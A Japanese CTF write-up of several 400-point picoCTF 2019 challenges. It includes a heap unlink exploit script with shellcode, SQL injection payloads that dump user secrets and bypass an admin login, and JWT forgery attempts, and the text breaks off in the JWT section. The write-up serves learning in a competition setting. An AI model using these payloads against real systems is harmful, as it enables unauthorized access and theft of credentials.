中高生向けのCTF、picoCTF 2019 の write-up です。他の得点帯の write-up へのリンクはこちらを参照。
[Crypto] AES-ABC (400pt)
AES-ECB is bad, so I rolled my own cipher block chaining mechanism - Addition Block Chaining! You can find the source here: aes-abc.py. The AES-ABC flag is body.enc.ppm
ソースコード aes-abc.py
と 画像ファイルbody.enc.ppm
が配布されます。
AES-ECBモードででは、暗号化時にデータのパターンを隠蔽することが出来ないので、画像を暗号化した例だとなんとなく雰囲気残ってしまいます。この例はwikipediaにも紹介されていました。(2019年10月時点)
配布されたbody.enc.ppm
も似たような感じだったので目を凝らしてみましたが、読めませんでした( ͡° ͜ʖ ͡°) 真ん中に帯のように文字列が書かれていそうな雰囲気あるんだけども…。
配布された画像とソースコードはこちら。
#!/usr/bin/env python from Crypto.Cipher import AES from key import KEY import os import math BLOCK_SIZE = 16 UMAX = int(math.pow(256, BLOCK_SIZE)) def to_bytes(n): s = hex(n) s_n = s[2:] if 'L' in s_n: s_n = s_n.replace('L', '') if len(s_n) % 2 != 0: s_n = '0' + s_n decoded = s_n.decode('hex') pad = (len(decoded) % BLOCK_SIZE) if pad != 0: decoded = "\0" * (BLOCK_SIZE - pad) + decoded return decoded def remove_line(s): # returns the header line, and the rest of the file return s[:s.index('\n') + 1], s[s.index('\n')+1:] def parse_header_ppm(f): data = f.read() header = "" for i in range(3): header_i, data = remove_line(data) header += header_i return header, data def pad(pt): padding = BLOCK_SIZE - len(pt) % BLOCK_SIZE return pt + (chr(padding) * padding) def aes_abc_encrypt(pt): cipher = AES.new(KEY, AES.MODE_ECB) ct = cipher.encrypt(pad(pt)) blocks = [ct[i * BLOCK_SIZE:(i+1) * BLOCK_SIZE] for i in range(len(ct) / BLOCK_SIZE)] iv = os.urandom(16) blocks.insert(0, iv) for i in range(len(blocks) - 1): prev_blk = int(blocks[i].encode('hex'), 16) curr_blk = int(blocks[i+1].encode('hex'), 16) n_curr_blk = (prev_blk + curr_blk) % UMAX blocks[i+1] = to_bytes(n_curr_blk) ct_abc = "".join(blocks) return iv, ct_abc, ct if __name__=="__main__": with open('flag.ppm', 'rb') as f: header, data = parse_header_ppm(f) iv, c_img, ct = aes_abc_encrypt(data) with open('body.enc.ppm', 'wb') as fw: fw.write(header) fw.write(c_img)
暗号化の部分aes_abc_encrypt(pt)
を見てみると、AES暗号化(ECBモード)したあとに、独自の暗号化処理(これがABC暗号化なの?)を施してあります。
追加の暗号化は、初期値iv
が配布されたデータに埋め込まれているので、逆算してAES暗号化しただけの状態に戻すことができそう。ここで競技期間が終了してしまいましたが、そんなに難しい変換じゃないのでやっておけばよかったっっ!
#!/usr/bin/env python3 from Crypto.Cipher import AES import os import math BLOCK_SIZE = 16 UMAX = int(math.pow(256, BLOCK_SIZE)) def remove_line(s): # returns the header line, and the rest of the file return s[:s.index(b'\n') + 1], s[s.index(b'\n')+1:] def parse_header_ppm(f): data = f.read() header = b"" for i in range(3): header_i, data = remove_line(data) header += header_i return header, data def abc_decrypt(ct): blocks = [ct[i * BLOCK_SIZE:(i+1) * BLOCK_SIZE] for i in range(len(ct) // BLOCK_SIZE)] iv = blocks[0] print(iv) decrypted_blks = [] for i in range(len(blocks) - 1): prev_blk = int.from_bytes(blocks[i], 'big') curr_blk = int.from_bytes(blocks[i+1], 'big') n_curr_blk = (curr_blk - prev_blk) % UMAX decrypted_blks.append( n_curr_blk.to_bytes(16, 'big')) data = b"".join(decrypted_blks) return data if __name__=="__main__": with open('body.enc.ppm', 'rb') as f: header, c_img = parse_header_ppm(f) data = abc_decrypt(c_img) with open('flag.ppm', 'wb') as fw: fw.write(header) fw.write(data)
python3で動くようにちょっと書き直しつつ、逆変換してみました。出てきた画像がこちら。
そんなに目を凝らさなくても、読める画像が出てきました!EBCモード、本当に画像なら読めてしまいますねー!!!
[Binary] AfterLife (400pt)
Just pwn this program and get a flag. It's also found in /problems/afterlife_1_1a985526d55f084c5fbe4688631e7d51 on the shell server. Source.
Hints
If you understood the double free, a use after free should not be hard! http://homes.sice.indiana.edu/yh33/Teaching/I433-2016/lec13-HeapAttacks.pdf
実行ファイル vuln
と ソースコード vuln.c
が配布されます。
#include <stdlib.h> #include <stdio.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #define FLAG_BUFFER 200 #define LINE_BUFFER_SIZE 20 void win() { char buf[FLAG_BUFFER]; FILE *f = fopen("flag.txt","r"); fgets(buf,FLAG_BUFFER,f); fprintf(stdout,"%s\n",buf); fflush(stdout); } int main(int argc, char *argv[]) { //This is rather an artificial pieace of code taken from Secure Coding in c by Robert C. Seacord char *first, *second, *third, *fourth; char *fifth, *sixth, *seventh; first=malloc(256); printf("Oops! a new developer copy pasted and printed an address as a decimal...\n"); printf("%d\n",first); strncpy(first,argv[1],LINE_BUFFER_SIZE); second=malloc(256); third=malloc(256); fourth=malloc(256); free(first); free(third); fifth=malloc(128); puts("you will write on first after it was freed... an overflow will not be very useful..."); gets(first); seventh=malloc(256); exit(0); }
先にヒントを見てしまいましたが、UAF(use after free) が関係するみたい。
まずはコードを見てみます。win()
関数を呼べればflagを表示してくれそう。
1st
をmallocし、その後そのアドレスを表示- 実行時の引数を先程確保した
1st
に20文字コピー 2nd
,3rd
,4th
を malloc1st
,3rd
を free5th
を malloc(128)1st
のアドレス(解放後)を指定し、ユーザー入力を入れる7th
を mallocexit(0)
...あれ、6thどこ行った?
6.で、解放後の領域にユーザー入力を入れているところが怪しい。
この時点までの free list は
[free list] after free 1st, 3rd (head) -> 3rd -> 1st -> (tail) [free list] after malloc 5th (head) -> 1st -> (tail)
となっており、7th
を malloc すると 1st だった領域が使われます。1st領域が free list にいる時に書き込みを行うと、下記の [Allocated chunk] の User data に書き込みを行ったつもりで、[Freed chunk] の forward pointer や back pointer 領域への書き込みをします。
Allocated chunk Freed chunk +---------------------+ +---------------------+ | Size of chunk | | Size of chunk | +---------------------+ +---------------------+ | User data | | Forward Pointer | + + +---------------------+ | | | Back Pointer | + + +---------------------+ | | | | +---------------------+ +---------------------+ | Size of chunk | | Size of chunk | +---------------------+ +---------------------+
ここからwin()
を呼ぶように組み立てたかったのだけど、自力では無理だった…。
どうやら Unlink Attack
というのを使うらしい。下記サイトの説明そのまんま使えそう。katagaitai勉強会の資料だそうだ。流石!
CTFひとり勉強会 Secret Holder (HITCON 2016 Quals) 前編 - ヾノ*>ㅅ<)ノシ帳
図やmalloc
のソースコードを見ながらでないと理解が厳しいので、是非上記リンク先を参考にして下さい…!(残念ながら、途中で紹介されているkatagaitai勉強会の元資料は、もう削除されているみたいです)
更に、ここで紹介されているのは、スライド資料までは一般的な Unlink Attack の説明として今回もバッチリ当てはまるのですが、途中から アーキテクチャとglibcのバージョンが違うので注意が必要です。
さて、先程のfreed link の表現に向きを考慮して
[free list] after malloc 5th (head) -> 1st -> (tail) ↓↓↓↓↓ [free list] after malloc 5th FD (head) -> 1st -> (tail) BK (tail) -> 1st -> (head)
と書くようにしてみます。
上記 free list にある1st領域への書き込み時に、*fd
にfd_addr
,*bk
にbk_addr
を書き込み、再度alloc(7th)して free list から 1st 領域を Unlink すると、free list は下記のようになります。
[free list] after overwrite 1st FD (head) -> 1st -> (tail) BK (tail) -> 1st -> (head) [free list] when alloc 7th: 1st chunk is unlinked FD (head) -> fd_addr -> (tail) BK (tail) -> bk_addr -> (head)
ここで、Hintに示されているpdfの p22 あたりの unlink macro の紹介を見てみます。glibc 2.3.4 以降、これに下記のようなチェックが追加され、対策がなされているようですが、それ以前の libc version だとこのチェックは入っていないようです。
#define unlink(P, BK, FD) { FD = P->fd; BK = P->bk; if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \ // この処理 malloc_printerr (check_action, "corrupted double-linked list", P, AV); FD->bk = BK; BK->fd = FD; }
リンクされているglibcのversionを確認してみます。
$ strings -a vuln | grep lib /lib/ld-linux.so.2 libc.so.6 __libc_start_main __libc_csu_fini __libc_start_main@@GLIBC_2.0 __libc_csu_init
どうやら 2.0 のようです。やった!
ということで、unlink時は下記のコードが実行されます。
#define unlink(P, BK, FD) {
FD = P->fd;
BK = P->bk;
FD->bk = BK;
BK->fd = FD;
}
上記で書いた通り、1stの領域は一度freeされた後にユーザー入力を書き込むことができます。この時、
Allocated chunk Freed chunk (just information) +----------------------+ +---------------------+ | Size of chunk | | Size of chunk | +----------------------+ +---------------------+ | * {some GOT addr}-12 | | Forward Pointer | +----------------------+ +---------------------+ | * 1st addr + 8 ↓ | | Back Pointer | +----------------------+ +---------------------+ | * jmp win (shellcode)| | | +----------------------+ +---------------------+ | Size of chunk | | Size of chunk | +----------------------+ +---------------------+
このように*
の部分を書き込むと、
P->fd = {some GOT addr}-12 P->bk = 1st addr + 8 (shellcode's addr)
となり、unlink時に下記の処理が走り、GOTアドレスが埋め込んだshellcodeのアドレスでoverwriteされます。
#define unlink(P, BK, FD) { FD = P->fd; // FD = {some GOT addr}-12 BK = P->bk; // BK = 1st addr + 8 (shellcode's addr) FD->bk = BK; // FD->bk = FD+12 (bkポインタはaddress+12のところに位置するため) // = {some GOT addr}-12+12 // = {some GOT addr} // より、 {some GOT addr} = 1st addr + 8 (shellcode's addr) // ※↑ここが攻撃のポイント。GOTアドレスをshellcodeのアドレスでoverwriteした BK->fd = FD; // BK->fd = BK+8 (bkポインタはaddress+8のところに位置するため) // = 1st addr + 8 + 8 // = 1st addr + 16 (特に使わない) }
GOTアドレスにwin()
関数のアドレスをoverwriteできればよいのですが、今回は禁止されており、代わりにヒープ領域の実行ができるために、ヒープ領域にshellcodeを置いて実行するという解法になるようです。
元のvuln.c
では、最後にexit(0)
が呼ばれているので、今回はexit
を使うことにします。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- from pwn import * # picoCTF の shell serverに接続 print('picoCTF shell server login') print('name:') pico_name = input('>>') print('password') pico_pass = input('>>') pico_ssh = ssh(host = '2019shell1.picoctf.com', user=pico_name, password=pico_pass) pico_ssh.set_working_directory('/problems/afterlife_1_1a985526d55f084c5fbe4688631e7d51') e = ELF('./vuln') context.binary = './vuln' p = pico_ssh.process(['./vuln', 'a']) p.recvuntil(b'Oops! a new developer copy pasted and printed an address as a decimal...\n') first_addr = int(p.recvline()) print('fist_addr: ' + str(first_addr)) p.recvuntil(b'you will write on first after it was freed... an overflow will not be very useful...\n') print('exit_addr: ' + str(e.got[b'exit'])) print('win_addr: ' + str(e.symbols[b'win'])) shellcode = asm('push {}; ret;'.format(hex(e.symbols[b'win']))) print(b'shellcode: ' + shellcode) payload = p32(e.got[b'exit']-12) payload += p32(first_addr+8) payload += shellcode print(b'payload: ' + payload) p.sendline(payload) print(p.recv())
実行結果
$ python solve.py picoCTF shell server login [+] Connecting to 2019shell1.picoctf.com on port 22: Done [*] Working directory: '/problems/afterlife_1_1a985526d55f084c5fbe4688631e7d51' [*] '/root/ctf/picoCTF2019/vuln' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX disabled PIE: No PIE [+] Opening new channel: execve(b'./vuln', [b'./vuln', b'a'], os.environ): Done fist_addr: 135294984 exit_addr: 134533164 win_addr: 134515046 b'shellcode: hf\x89\x04\x08\xc3' b'payload: \xd0\x04\x08\x10p\x10\x08hf\x89\x04\x08\xc3' b'picoCTF{what5_Aft3r_7b3f566a}\n'
shellcodeは
push win_addr; ret;
を使用してwin()
関数に飛ばしましたが、shellを取るコードを書いてもよさそう。
jmp win_addr;
をしたかったのだけど、pwntool先生に怒られてしまった。調べてみると同じことをしようとした人が。
pwntools failed to asm a jmp shellcode · Issue #1287 · Gallopsled/pwntools · GitHub
The reason is, that jumps with immediate values on x86 are always relative to the instruction pointer, so if you want to jump outside of the shellcode, you should use
push 0x100000; ret
参考リンク
- CTFひとり勉強会 Secret Holder (HITCON 2016 Quals) 前編 - ヾノ*>ㅅ<)ノシ帳
- glibc malloc exploit techniques - ももいろテクノロジー
[Web] Empire1 (400pt)
Psst, Agent 513, now that you're an employee of Evil Empire Co., try to get their secrets off the company website. https://2019shell1.picoctf.com/problem/32160/ (link) Can you first find the secret code they assigned to you? or http://2019shell1.picoctf.com:32160
Hints
Pay attention to the feedback you get There is very limited filtering in place - this to stop you from breaking the challenge for yourself, not for you to bypass. The database gets reverted every 2 hours if you do break it, just come back later
"psst"って目立たないように人の注意を引く時の発声なんですって。
前は007風の問題がありましたが、今回も私はエージェント513になって悪の組織に乗り込んでいるようです。自分にアサインされたコードを探せばよいそうです。物語仕立て。
指定されたリンクに飛ぶと、こんなページが。
Register機能とLogin機能があるみたいです。
まずは登録してみます。
Signinページに飛ばされました。
Signinしてみます。
わー。なんか機能が増えました。todo管理や雇用者リストが見れるみたいです。ログイン時にremember me
にチェックを付けていると、下記のcookieが追加されます。今回は使わなかったですが。
remember_token: 43|7b70faf6b8d92032d7da54933405616de1c6a115a7f230624956bf25967f5e5e5339d1d512d3e2c2f84c56bcc643e178169e33462aa67767d72e4973fadca02f
顧客者リストに自分が載っていれば、自分のコードが分かりそうなので見てみます。
いました。43番です。これはsecretじゃないのでフラグじゃないのかな?あ、そう言えばさっき見たremember_tokenの先頭が43になってたなぁ…。
ちなみに顧客リスト、他のメンバーの入れたUsername,Nameがそのまま見えてるようで、皆何を考えてたかよく分かる…。
Todoリストを試してみます。簡単なXSS、Template Injectionを試してみましたが効きませんでした。次にまたSQL Injectionを試してみたところ、サーバーエラーが返ってきましたが何かしら手応えが。
Todo?に'
のみを入れてみたところ
サーバーエラー発生。
ただ、2つ入れると(''
)通る。生成されるのは('
)、シングルクォート一つのみ。
更に、下記いろいろ試してみました。
' -> error '' -> ' ''' -> error '''' -> '' 'a' -> error 'a -> error '1' -> error '=' -> 0 '=' -> 1 '*' -> '
なにやら'='
を入れると、0や1が返ってきます。アルファベットや数字を入れるとエラーになっていたのが、記号を入れると通るようです。試しに、下記のようなスクリプトを書いてどんな記号が通るのか試してみました。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- import requests from bs4 import BeautifulSoup import string login_url = "http://2019shell1.picoctf.com:32160/login" add_url = "http://2019shell1.picoctf.com:32160/add_item" username = 'alice' password = 'test' def get_csrf_token(text): soup = BeautifulSoup(text, 'html.parser') return soup.find(attrs={'name': 'csrf_token'}).get('value') ### get login csrf_token res = requests.get(login_url) session_cookie = res.cookies['session'] csrf_token = get_csrf_token(res.text) cookies = {'session': session_cookie} ### login data = {'username': username, 'password': password, 'remember_me': 'y', 'csrf_token': csrf_token} res = requests.post(login_url, data=data, cookies=cookies) if "Things You Gotta Do" in res.text: print('Login Success') else: raise('Login Failed') history = res.history session_cookie = history[0].cookies['session'] remember_cookie = history[0].cookies['remember_token'] ### get add item csrf token cookies = {'session':session_cookie, 'remember_token':remember_cookie} res = requests.get(add_url, cookies=cookies) csrf_token = get_csrf_token(res.text) ### test each chars candidates = """0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~""" data = {'item':"'='", 'csrf_token': csrf_token} print(candidates) print('------------') ok_list = [] for c in candidates: print(c) attack = "'" + c + "'" data = {'item':attack, 'csrf_token': csrf_token} res = requests.post(add_url, data=data, cookies=cookies) if res.status_code == 500: continue elif res.status_code == 200: ok_list.append(c) else: raise(res.status_code) print(ok_list)
実行結果
$ python test.py Login Success -------- Login done -------- 0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~ ------------ (略) ['%', '&', '*', '+', '-', '/', '<', '=', '>', '|']
これらが通った文字たちです。
そういえばヒントに
There is very limited filtering in place - this to stop you from breaking the challenge for yourself, not for you to bypass.
とありました!これがもしかして very limited filter なんでしょうか?
https://dev.mysql.com/doc/refman/5.6/ja/non-typed-operators.html
このあたりを参照すると、生き残った文字列たちで 論理演算子 OR (||
), AND (&&
) や、文字列連結 (+
), コメントアウト (--
), (/**/
)が使えそうです。また、比較演算子 =
, <=>
, >
, >=
, <
, <=
, <>
も使えそうです。
試しに、下記のようなリクエストを送ってみました。
'|| 1=1 --||' -> 1 '|| 1=0 --||' -> 0 '||1=1||' -> 1
他にも色々試してみましたが、1,0 の応答の時は何かしらクエリが走って True/False を返しているっぽい。SELECTやORのような演算子やアルファベットは使えません。
末尾の --
はあってもなくても良さそう。
ここで問題文を振り返ってみると
Can you first find the secret code they assigned to you?
ということで、自分にアサインされた secret code を見つけ出すようです。この制約の中で、文字列を見つけるクエリを組み立てます...。
ここで競技中はタイムアップ。上のスクリプトを書くのに時間を使ってしまった...。csrf対応とか、redirectされた時の最初に返されたcookieを取得するなど、あまり普段やらない処理をかけたので、それはそれで収穫だったかも。
このサイトのデータベースは SQLite だったようで、下記のSQLite用のチートシートが刺さりました。
GitHub - unicornsasfuel/sqlite_sqli_cheat_sheet: A cheat sheet for attacking SQLite via SQLi
上で色々試して有効だった ||
は、SQLite だと連結の記号なんですね。上記のサイトのチートシート(というか基本的な使い方レベル)を見ただけで解ける問題だったようです。
まずは テーブル名列挙のクエリを突っ込んでみます。
'|| (SELECT name FROM sqlite_master) ||'
↓
Very Urgent: user
でました。上のをしなくても、以下のスキーマ一覧のクエリで
'|| (SELECT sql FROM sqlite_master) ||'
↓
Very Urgent: CREATE TABLE user ( id INTEGER NOT NULL, username VARCHAR(64), name VARCHAR(128), password_hash VARCHAR(128), secret VARCHAR(128), admin INTEGER, PRIMARY KEY (id) )
スキーマ一覧が出てきました。secret code はきっと secret
に入っているので、これを抽出するクエリを考えます。自分のIDがわかっているので、自分のIDを指定して
'|| (SELECT secret FROM user WHERE id == 43 LIMIT 0,1) ||'
↓
Very Urgent: picoCTF{wh00t_it_a_sql_injectb819aa6f}
自分のIDがわからない場合もgroup_concat()
を使用すると、全員分のが抽出できます。
group_concat()
については、下記に使い方が。便利なクエリだ!複数行出力できない場合なんかにも有効そう。
MySQLのGROUP_CONCATがアツい - Qiita
'|| (select group_concat(secret) from user) ||'
Very Urgent: Likes Oreos.,Know it all.,picoCTF{wh00t_it_a_sql_injectb819aa6f}
いくつかwriteupを見てみても「'|| (sql) ||'
の構文が有効なことに気づいた」的なwriteupが多く、割とよくある手法なのかなーという印象。解けているチームも多いし、SQL injection としてはかなり簡単な問題だった様ƒ子。SQLiteのを今まで意識してやったことなかったので全然わからなかった。
[Forensics] Investigative Reversing 3 (400pt)
We have recovered a binary and an image See what you can make of it. There should be a flag somewhere. Its also found in /problems/investigative-reversing-3_2_9b697a21646b826192c40efeb643ff61 on the shell server.
Hints
You will want to reverse how the LSB encoding works on this problem
実行ファイルmystery
と、bmpファイルencoded.bmp
が配布されます。
今回もソースコードがないので、ghidraでmystery
をdecompileしてもらいます。
変数名を見やすくしたdecompiledコードがこちら。
undefined8 main(void) { size_t num_data; long in_FS_OFFSET; char buf_original; char encoded_c; int i, j, n; FILE *file_flag; FILE *file_original; FILE *file_encoded; char buf_flag [56]; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); file_flag = fopen("flag.txt","r"); file_original = fopen("original.bmp","r"); file_encoded = fopen("encoded.bmp","a"); if (file_flag == (FILE *)0x0) { puts("No flag found, please make sure this is run on the server"); } if (file_original == (FILE *)0x0) { puts("No output found, please run this on the server"); } num_data = fread(&buf_original,1,1,file_original); n = (int)num_data; i = 0; while (i < 723) { fputc((int)buf_original,file_encoded); num_data = fread(&buf_original,1,1,file_original); n = (int)num_data; i = i + 1; } num_data = fread(buf_flag,50,1,file_flag); n = (int)num_data; if (n < 1) { puts("Invalid Flag"); exit(0); } i = 0; while ((int)i < 100) { if ((i & 1) == 0) { j = 0; while ((int)j < 8) { encoded_c = codedChar((ulong)j, (ulong)(uint)(int)buf_flag[(long)((int)(i + (i >> 31))>> 1)], // (long)((int)(i + (i >> 31))>> 1) -> 0,0,1,1,2,2,3,3,4,4,5,5... (ulong)(uint)(int)buf_original); fputc((int)encoded_c,file_encoded); fread(&buf_original,1,1,file_original); j = j + 1; } } else { fputc((int)buf_original,file_encoded); fread(&buf_original,1,1,file_original); } i = i + 1; } while (n == 1) { fputc((int)buf_original,file_encoded); num_data = fread(&buf_original,1,1,file_original); n = (int)num_data; } fclose(file_encoded); fclose(file_original); fclose(file_flag); if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) { return 0; } __stack_chk_fail(); } ulong codedChar(int index, byte b_flag, byte b_ord) { byte shifted; shifted = b_flag; if (index != 0) { shifted = (byte)((int)(char)b_flag >> ((byte)index & 0x1f)); } return (ulong)(b_ord & 0xfe | shifted & 1); }
上から読んでいくと
- 723 byte、original から encoded にコピー
- flagは 50 bytes
i
が偶数のとき、前回と同じcodedChar()
を呼び出した結果を encoded に入力i
が奇数のとき、original から encoded にコピー- 上記を
i==100
になるまで実施したら、残りのoriginalをencodedにコピー
3.のcodedChar()
を呼び出す際の引数が若干異なりますが、コードを見た限り、前回はord(flag[i])+5
をわたしていたのが、今回は単純にord(flag[i//2])
に変わっているようです。codedChar()
関数自体は前回と一緒なので、同じソルバ関数を使いまわしました。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- def decodeChar(data): return bin(data)[-1] with open('encoded.bmp', 'rb') as f: data = f.read()[723:1173] # 723 + (50 + 50*8) = 1173 data_e = b'' for i in range(50): data_e += data[i*9:i*9+8] # print(i, data[i*9:i*9+8]) flag = '' for i in range(50): fragment = '' for j in range(8): fragment += decodeChar(data_e[i*8+7-j]) flag += chr(int(fragment, 2)) print(flag)
実行結果
$ python solve.py picoCTF{4n0th3r_L5b_pr0bl3m_000000000000018a270ae}
[Forensics] Investigative Reversing 4 (400pt)
We have recovered a binary and 5 images: image01, image02, image03, image04, image05. See what you can make of it. There should be a flag somewhere. Its also found in /problems/investigative-reversing-4_5_908aeadf9411ff79b32829c8651b185a on the shell server.
上の Investigative Reversing 3 を解いたらゾンビのように湧いてきた。
今度は実行ファイルmystery
と、Item01~05.bmp
が配られます。画像を5枚使う問題のようです。
同様に、mystery
をghidraでdecompileしてもらいます。
読みやすく整形したコードはこちら
undefined8 main(void) { undefined flag [52]; FILE *file_flag; flag_index = 0; file_flag = fopen("flag.txt","r"); if (file_flag == (FILE *)0x0) { puts("No flag found, please make sure this is run on the server"); } num_file = fread(flag,0x32,1,file_flag); if (num_file < 1) { puts("Invalid Flag"); exit(0); } fclose(file_flag); encodeAll(); return 0; } void encodeAll(void) { ulong filename_01; ulong filename_cp_01; char c; filename_cp = 'Item01_cp.bmp' filename = 'Item01.bmp' c = '5'; // '5' = 0x35 while ('0' < c) { // '0' = 0x30 // filename_cp = 'Item0' + c + '_cp.bmp' // filename = 'Item0' + c + '.bmp' encodeDataInFile(&filename,&filename_cp); c = c + -1; } return; } void encodeDataInFile(char *filename_ord,char *filename_cp) { size_t num_data; char data_item_ord; char encoded_c; FILE *file_item_cp; FILE *file_item_ord; uint j; int i; file_item_ord = fopen(filename_ord,"r"); file_item_cp = fopen(filename_cp,"a"); if (file_item_ord != (FILE *)0x0) { num_data = fread(&data_item_ord,1,1,file_item_ord); i = 0; while (i < 0x7e3) { // 0x7e3 = 2019 fputc((int)data_item_ord,file_item_cp); num_data = fread(&data_item_ord,1,1,file_item_ord); i = i + 1; } i = 0; while (i < 0x32) { // 0x32 = 50 if (i % 5 == 0) { j = 0; while ((int)j < 8) { encoded_c = codedChar((ulong)j, (ulong)(uint)(int)*(char *)((long)*flag_index + flag), (ulong)(uint)(int)data_item_ord); fputc((int)encoded_c,file_item_cp); fread(&data_item_ord,1,1,file_item_ord); j = j + 1; } *flag_index = *flag_index + 1; } else { fputc((int)data_item_ord,file_item_cp); fread(&data_item_ord,1,1,file_item_ord); } i = i + 1; } while ((int)num_data == 1) { fputc((int)data_item_ord,file_item_cp); num_data = fread(&data_item_ord,1,1,file_item_ord); } fclose(file_item_cp); fclose(file_item_ord); return; } puts("No output found, please run this on the server"); exit(0); } ulong codedChar(int index, byte b_flag, byte b_ord) { // 2,3 と同じコード byte shifted; shifted = b_flag; if (index != 0) { shifted = (byte)((int)(char)b_flag >> ((byte)index & 0x1f)); } return (ulong)(b_ord & 0xfe | shifted & 1); }
これまでのシリーズに、flagが埋めてあるファイルが5個になったのみの変更の様子。
Item0n.bmp
のn
を 5 -> 1 に変化させながら1ファイルずつ処理- 2019 byte 先からflagの埋め込み開始
- 5文字ごとに
codedChar()
関数を通してflagを埋めていく
これくらいのことが読み取れたら、あとは逆変換のスクリプトを書きます。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- def decodeChar(data): return bin(data)[-1] flag = '' for n_file in range(5): filename = 'Item0' + str(5-n_file) + '_cp.bmp' with open(filename, 'rb') as f: data = f.read()[2019:2139] # 2019 + (40 + 10*8) = 2139 data_e = b'' for i in range(10): data_e += data[i*12:i*12+8] # (5-1) + 8 = 12 # print(i, data[i*12:i*12+8]) for i in range(10): fragment = '' for j in range(8): fragment += decodeChar(data_e[i*8+7-j]) flag += chr(int(fragment, 2)) print(flag)
実行結果
$ python solve.py picoCTF{N1c3_R3ver51ng_5k1115_00000000000ade0499b}
フラグゲット٩(๑❛ᴗ❛๑)尸
このシリーズ、Ghidra様様でした!
[Web] Irish-Name-Repo 3 (400pt)
There is a secure website running at https://2019shell1.picoctf.com/problem/21874/ (link) or http://2019shell1.picoctf.com:21874. Try to see if you can login as admin!
Hints
Seems like the password is encrypted.
指定のリンクに飛ぶと、またもや Irish-Name-Repo 1,2 と同じサイト。
Admin Login のメニューに飛ぶと、今回はPasswordのみ入れるようになっています。
適当に入れてみて試しましたが、loginに失敗します。cookieには何も書かれていないようです。
SQL injectionのよく使われる手段である、条件式を無効にするクエリ ' or 1=1--
を突っ込んでみると response 500。色々試してみましたが、Login Faild、もしくは 500エラーが返ってくるのみです。
ここでhtmlのソースを見てみると、そう言えば気になるものが。
<input type="hidden" name="debug" value="0">
今までの問題にもあったみたいですが、これをvalue="1"
にしてやると、debugモードになりそう!
こんなスクリプトを書いて試してみます。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- import requests url = "https://2019shell1.picoctf.com/problem/21874/login.php" data = {'password': "' or 1=1--", 'debug': '1'} res = requests.post(url, data=data) print(res.text)
実行結果
$ python solve.py <pre>password: ' or 1=1-- SQL query: SELECT * FROM admin where password = '' be 1=1--' </pre>
おお!どんなクエリが実行されたか表示してくれています!ありがたや!
or
って入れたのに be
になってますね・・・。o->b
, r->e
に変換されているので、単純に考えると13文字ずれている、すなわちROT暗号されてそうな気配がします。
ROT暗号は再度かけるともとに戻るので、すなわちbe
を入れてあげるとor
に変換されるはず。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- import requests url = "https://2019shell1.picoctf.com/problem/21874/login.php" data = {'password': "' be 1=1--", 'debug': '1'} res = requests.post(url, data=data) print(res.text)
実行結果
$ python solve.py <pre>password: ' be 1=1-- SQL query: SELECT * FROM admin where password = '' or 1=1--' </pre><h1>Logged in!</h1><p>Your flag is: picoCTF{3v3n_m0r3_SQL_d78e3333}</p>
[Web] JaWT Scratchpad (400pt)
Check the admin scratchpad! https://2019shell1.picoctf.com/problem/12283/ or http://2019shell1.picoctf.com:12283
タイトルからして、JWT(Json Web Token)関連の問題のようです。
まずは指定されたサイトに飛んでみます。
自分の名前でログインしてね、adminはspecial scratchpadをgetできるから使わないでね!だそうです。
最後に John the Ripper へのリンクがありますが、これは使うのかな…?
とりあえずだめと言われたadmin
でログインを試してみました。
怒られました。
仕方ないので test
でログインしてみました。
ただのノート機能です。cookieを見てみると、jwt
がいます!
jwt: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoidGVzdCJ9.IAu_YSHppFe8hXH_BSPb4OLJYGUi8wXqXdS0T33cKbA
JWTは
{ヘッダ}.{データ}.{署名}
の形式で、ヘッダ・データはそれぞれbase64 encodeされています。
参照: JSON Web Tokens - jwt.io
まずは、ヘッダとデータをbase64 decodeしてあげます。
{"typ":"JWT","alg":"HS256"}.{"user":"test"}.****
ふむふむ。想定通りのデータが入っています。使われている署名のアルゴリズムはHS256
のようです。
"user"を"admin"にすり替えてbase64 encodeしてみます。
jwt: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4ifQ==.IAu_YSHppFe8hXH_BSPb4OLJYGUi8wXqXdS0T33cKbA eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoidGVzdCJ9.IAu_YSHppFe8hXH_BSPb4OLJYGUi8wXqXdS0T33cKbA
しかし、このままでは署名が通りません。ちなみにこのままjwtクッキーをdata部分のみ書き換えて送るとInternal Server Errorで落ちます…。
このjwtを通す方法を調べていると、いくつかあるようです。まずは一つ目。headerの alg
を "none"
に書き換え、verification を通さなくする方法を試みます。noneにすると、署名をチェックしないライブラリが使われている可能性があるとのこと。
CTF: JSON Web Tokens (JWT) - Debricked
こちらのページを参考にさせていただきました。
{"typ":"JWT","alg":"none"}.{"user":"admin"}.{元の署名}
これをbase64 encodeして
eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0=.eyJ1c2VyIjoiYWRtaW4ifQ==.IAu_YSHppFe8hXH_BSPb4OLJYGUi8wXqXdS0T33cKbA
しかしこれを送っても、残念ながらInternal Server Errorが返ってきました…。alg=none
に対応していないか、noneでも署名をチェックしているみたいです。
もう一つは、署名を作る方法。この署名を作るには鍵(secret)が必要なんですが、この鍵の解析方法がわかりません。
調べてみると、下記ページの 4. HS256 (symmetric encryption) key cracking で、secretが簡単な場合は brute-forceで alg: HS256
の場合は割と簡単に破れるとの紹介が。
Hacking JSON Web Token (JWT) - 101-writeups - Medium
しかもlocalのbrute-forceで良いので、競技環境への攻撃になっちゃう心配もしなくて良さそう!
さらに
Can use PyJWT or John Ripper for crack test
